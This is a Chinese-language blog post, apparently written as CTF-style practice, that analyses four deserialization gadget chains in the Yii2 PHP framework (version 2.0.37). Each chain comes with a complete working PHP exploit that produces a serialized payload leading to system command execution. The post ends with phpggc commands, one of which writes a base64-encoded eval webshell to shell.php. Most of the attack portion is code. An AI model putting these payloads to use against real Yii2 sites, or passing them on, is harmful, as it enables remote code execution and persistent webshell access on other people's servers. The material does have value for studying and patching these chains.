yii2框架反序列化漏洞挖掘
本文最后更新于 561 天前,其中的信息可能已经有所发展或是发生改变。

来挖挖Yii2框架的漏洞了,刚好合天发了一篇文章:通过几道CTF题学习yii2框架,比较有兴趣,主要还是给反序列化练练手。

安装

GitHub:https://github.com/yiisoft/yii2/releases,下载2.0.37版本。

在 yii-basic-app-2.0.37\basic\config\web.php 中添加 cookieValidationKey 的值,用了7.3的PHP,虽然限制的版本最低不超过5.6.0,但是低于7会产生报错。

接着添加一个测试控制器yii2\basic\controllers\TestController.php,加入代码:


<?php
namespace app\controllers;
use yii\web\Controller;

class TestController extends Controller{
    public function actionTest($name){
        echo 'Hello ' . $name;

    }
}

试着传入参数,发现可以打印,把打印改成反序列化,进行测试:

<?php
namespace app\controllers;
use yii\web\Controller;

class TestController extends Controller{
    public function actionTest($name){
        return unserialize($name);
    }
}

反序列化链一

BatchQueryResult.php Line 79中的__destruct()魔术方法:

    /**
     * Destructor.
     */
    public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }

调用了同一类中的reset()方法:

    /**
     * Resets the batch query.
     * This method will clean up the existing batch query so that a new batch query can be performed.
     */
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

其中的$_dataReader参数可控,这里就有3种追踪思路:

第一种是追踪DataReader.php中的close()方法,发现调用了PDO.php中的啊,虽然参数依然可控,但是没有利用点。

另一种是找其他类,该类存在同名的close()方法,且存在函数利用,这种在后面的链利用中会讲到。

还有一种就是找一个不存在该方法但是存在__call()方法的类,在对象中调用一个不可访问方法时会被调用。

找到 Generaator.php__call()方法:

    /**
     * @param string $method
     * @param array $attributes
     *
     * @return mixed
     */
    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

这里的$methodclose$attributes为空值。跟进format,调用了回调函数:

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

这里传入的$formatterclose$arguments为空。接着调用call_user_func_array()。跟进getFormatter()

    /**
     * @param string $formatter
     *
     * @return Callable
     */
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

这里的$this->formatters可控,也就是这里返回值可控,在call_user_func_array()中第一个参数可控,但是第二个参数不可控,传入的值为空,也就是可以执行phpinfo,exp:

<?php

namespace yii\db { 
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($obj) {
            $this->_dataReader = $obj;
        }

    }
}


namespace Faker {
    class Generator {
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}

namespace {
    $generator = new Faker\Generator(array('close' => 'phpinfo'));
    $batchqueryresult = new yii\db\BatchQueryResult($generator);
    echo urlencode(serialize($batchqueryresult));

}

这里只支持无参,由于PHP7的特性(如果是5也可以找无参),我们可以找一个支持无参调用的函数,且该函数存在回调函数call_user_func(),且传入的两个参数都可控。

正则表达式:


call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

yii2中的两个无参调用:

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
public function run()
{
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

        return $this->prepareDataProvider();
    }

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
}

IndexAction.php的调用:

<?php

namespace yii\rest {
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct($checkAccess, $id) {
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}


namespace yii\db {
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($obj) {
            $this->_dataReader = $obj;
        }

    }
}


namespace Faker {
    class Generator {
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}

namespace {
    $indexaction = new yii\rest\IndexAction('system', 'whoami');
    $generator = new Faker\Generator(array('close' => array($indexaction, 'run')));
    $batchqueryresult = new yii\db\BatchQueryResult($generator);
    echo urlencode(serialize($batchqueryresult));

}

CreateAction.php的调用大同小异

<?php

namespace yii\rest {
    class CreateAction {
        public $checkAccess;
        public $id;
        public function __construct($checkAccess, $id) {
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}


namespace yii\db {
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($obj) {
            $this->_dataReader = $obj;
        }

    }
}


namespace Faker {
    class Generator {
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}

namespace {
    $createaction = new yii\rest\CreateAction('system', 'whoami');
    $generator = new Faker\Generator(array('close' => array($createaction, 'run')));
    $batchqueryresult = new yii\db\BatchQueryResult($generator);
    echo urlencode(serialize($batchqueryresult));

}

反序列化链二

起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类。

找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php

    public function close()
    {
        if ($this->getIsActive()) {
            // prepare writeCallback fields before session closes
            $this->fields = $this->composeFields();
            YII_DEBUG ? session_write_close() : @session_write_close();
        }
    }

跟进:

    /**
     * Composes storage field set for session writing.
     * @param string $id Optional session id
     * @param string $data Optional session data
     * @return array storage fields
     */
    protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
            $fields['id'] = $id;
        }
        if ($data !== null) {
            $fields['data'] = $data;
        }
        return $fields;
    }

这里的第一个参数$this->writeCallback可控,第二个参数不可控,是一个对象,这就意味着不可以调用有参函数,但是依然可以利用刚才的run来getshell。这里继承的类是抽象类,属性是继承自抽象类的,写exp要注意。

<?php

namespace yii\db {
    class BatchQueryResult{
        private $_dataReader;
        public function __construct($_dataReader) {
            $this->_dataReader = $_dataReader;
        }

    }
}

namespace yii\web {
    class DbSession {
        public $writeCallback;
        public function __construct($writeCallback) {
            $this->writeCallback = $writeCallback;
        }
    }
}

namespace yii\rest {
    class CreateAction {
        public $checkAccess;
        public $id;
        public function __construct($checkAccess, $id) {
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}

namespace {
    $createaction = new yii\rest\CreateAction('system', 'whoami');
    $dbsession = new yii\web\DbSession(array($createaction, 'run'));
    $batchqueryresult = new yii\db\BatchQueryResult($dbsession);
    echo urlencode(serialize($batchqueryresult));
}

反序列化链三

2.0.38做了修复,可以看当时的commit。

限制了BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct,然后接着用之前的链就可以了,具体利用了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php,__destruct调用的函数中的参数可控。比较ez,直接上exp。

<?php
namespace Codeception\Extension{
 class RunProcess{
  private $processes = [];
  public function __construct($processes) {
   $this->processes[] = $processes;
  }
 }
}
namespace Faker{
 class Generator{
  protected $formatters = array();
  public function __construct($formatters) {
   $this->formatters = $formatters;
  }
 }
}
namespace yii\rest{
 class CreateAction{
  public $checkAccess;
        public $id;
        public function __construct($checkAccess,$id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
  }
 }
}
namespace {
 $c = new yii\rest\CreateAction('system','whoami');
 $b = new Faker\Generator(array('isRunning'=>array($c, 'run')));
 $a = new Codeception\Extension\RunProcess($b);
 print(urlencode(serialize($a)));
}

反序列化链四

同样是__destruct,在yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php。

public function __destruct()
{
        foreach ($this->keys as $nsKey => $null) {
            $this->clearAll($nsKey);
        }
    }

这里的参数可控,跟进clearAll


public function clearAll($nsKey)
{
        if (array_key_exists($nsKey, $this->keys)) {
            foreach ($this->keys[$nsKey] as $itemKey => $null) {
                $this->clearKey($nsKey, $itemKey);
            }
            if (is_dir($this->path.'/'.$nsKey)) {
                rmdir($this->path.'/'.$nsKey);
            }
            unset($this->keys[$nsKey]);
        }
    }

这里可以拼接$nsKey参数,存在__toString()。在yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php中找到一个可以利用的:

public function __toString()
{
    return $this->__dom__->saveXML();
}

__dom__参数可控,可以出发__call,剩下的就是跟上面利用方式一样了。


<?php
namespace {
    class Swift_KeyCache_DiskKeyCache{
        private $path;
        private $keys = [];
        public function __construct($path,$keys) {
            $this->path = $path;
            $this->keys = $keys;
        }
    }
}
namespace Codeception\Util{
    class XmlBuilder{
        protected $__dom__;
        public function __construct($__dom__) {
            $this->__dom__ = $__dom__;
        }
    }
}
namespace Faker{
    class Generator{
        protected $formatters = array();
        public function __construct($formatters) {
            $this->formatters = $formatters;
        }
    }
}
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct($checkAccess,$id){
            $this->checkAccess = $checkAccess;
            $this->id = $id;
        }
    }
}
namespace {
    $c = new yii\rest\CreateAction('system','whoami');
    $b = new Faker\Generator(array('saveXML'=>array($c,'run')));
    $a = new Codeception\Util\XmlBuilder($b);
    $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));
    print(urlencode(serialize($d)));
}

phpggc

PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don’t have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of frohoff’s ysoserial, but for PHP. Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, WordPress, Yii and ZendFramework.

https://github.com/ambionics/phpggc

使用./phpggc -l yii2可以看到有两条yii2的链

可以使用如下命令快速得到链,-uurl编码

./phpggc Yii2/RCE1 system id -u

phpggc的链二的终点是一个eval,所以这里可以直接写shell-bbase64编码

./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇